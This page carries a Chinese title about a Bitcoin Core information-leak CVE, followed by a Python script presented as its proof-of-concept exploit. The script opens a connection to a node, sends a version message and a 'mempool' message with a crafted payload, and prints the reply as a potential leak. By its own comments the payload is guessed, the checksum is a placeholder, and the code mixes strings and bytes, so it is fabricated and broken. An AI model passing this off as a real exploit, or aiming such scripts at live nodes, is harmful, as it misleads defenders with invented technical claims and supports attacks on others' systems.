CVE-2024-52911 Bitcoin Core信息泄漏漏洞

import socket import struct import time # Proof of Concept for CVE-2024-52911 # This script attempts to connect to a Bitcoin Core node and send a crafted message # to trigger the information disclosure vulnerability. # Note: The specific payload structure depends on the undisclosed technical details. def create_bitcoin_message(command, payload): command = command.ljust(12, '\x00') length = struct.pack('<I', len(payload)) checksum = struct.pack('<I', 0xDEADBEEF) # Placeholder checksum return b"\xF9\xBE\xB4\xD9" + command + length + checksum + payload def send_exploit(target_ip, target_port=8333): try: print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Send Version Message (Handshake) version_payload = struct.pack('<iQQ', 70015, 0, 0) + struct.pack('<Q', 1) s.send(create_bitcoin_message('version', version_payload)) time.sleep(1) # Send crafted payload to trigger the vulnerability # Specific payload bytes would be derived from binary analysis exploit_payload = b"\x00" * 24 + b"CVE-2024-52911-TRIGGER" s.send(create_bitcoin_message('mempool', exploit_payload)) print("[*] Exploit payload sent. Waiting for response...") response = s.recv(4096) if response: print(f"[+] Received response (potential leak): {response}") else: print("[-] No response received.") s.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with target IP send_exploit("127.0.0.1")